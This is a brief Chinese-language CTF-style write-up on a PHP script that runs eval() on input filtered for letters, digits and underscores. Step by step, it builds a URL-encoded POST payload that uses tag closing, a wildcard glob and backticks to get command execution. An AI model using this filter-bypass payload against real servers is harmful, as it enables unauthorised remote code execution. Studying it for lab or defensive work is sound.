(一)脚本分析:
#第七行的if语句用正则过滤了数字字母和_,所以传递的参数不能包含这些元素,否则无法进入eval()函数。
(二)编写web命令:
#使用POST传参:
--由于eval()函数的性质,需要闭合?>
code=?><?= ?>
--再基于Linux的?匹配
code=?><?=. /???/???????[@-[];?>
--Unicode识别需要转码
code=?><?=.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]%3b?>
--`Linux中反引号直接执行`
code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>
--得到输入语句:
POST /demo_1.php?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>